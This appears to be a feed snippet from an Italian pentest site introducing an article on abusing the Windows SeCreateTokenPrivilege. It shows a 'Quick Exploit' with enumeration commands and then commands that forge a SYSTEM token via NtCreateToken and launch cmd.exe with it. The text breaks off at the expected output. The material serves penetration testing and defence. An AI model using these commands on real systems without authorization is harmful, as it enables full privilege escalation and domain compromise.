https://hackita.it/tags/ntcreatetoken/Recent content in Ntcreatetoken on Ethical Hacking | Pentest e Sicurezza Informatica | HackitaHugoitWed, 17 Jun 2026 00:00:00 +0000https://hackita.it/articoli/secreatetokenprivilege/Wed, 17 Jun 2026 00:00:00 +0000https://hackita.it/articoli/secreatetokenprivilege/<p>Non rubi un token, non aspetti connessioni. Con SeCreateTokenPrivilege chiami <code>NtCreateToken()</code> e forgi un token con SID SYSTEM, gruppi Domain Admins e tutti i privilegi che vuoi — da zero. Se lo vedi su un account non di sistema: <strong>finding critico P0</strong>, documenta prima di tutto.</p> <hr> <h2 id="quick-exploit" class="group/anchor-heading"> Quick Exploit <a href="#quick-exploit" class="text-inherit opacity-0 group-hover/anchor-heading:opacity-100 decoration-transparent">#</a> </h2> <div class="shadow-xl border border-primary h-fit rounded-md"> <div class="w-full rounded-t-md py-3 px-[0.8571429em] header-glass flex justify-between items-center"> <div class="flex gap-x-2"> <span class="size-3 bg-red-500 rounded-full"></span> <span class="size-3 bg-yellow-500 rounded-full"></span> <span class="size-3 bg-green-500 rounded-full"></span> </div> <span class="uppercase text-sm">cmd</span> </div> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="cl">accesschk.exe -a SeCreateTokenPrivilege * </span></span><span class="line"><span class="cl">whoami /priv <span class="p">|</span> findstr SeCreateToken</span></span></code></pre></div> </div> <div class="shadow-xl border border-primary h-fit rounded-md"> <div class="w-full rounded-t-md py-3 px-[0.8571429em] header-glass flex justify-between items-center"> <div class="flex gap-x-2"> <span class="size-3 bg-red-500 rounded-full"></span> <span class="size-3 bg-yellow-500 rounded-full"></span> <span class="size-3 bg-green-500 rounded-full"></span> </div> <span class="uppercase text-sm">cmd</span> </div> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cmd" data-lang="cmd"><span class="line"><span class="cl">CreateToken.exe -user S-1-5-18 -groups S-1-5-32-544 -privs SeDebugPrivilege,SeImpersonatePrivilege </span></span><span class="line"><span class="cl">RunAs.exe -token [handle] cmd.exe</span></span></code></pre></div> </div> <p>Output atteso:</p>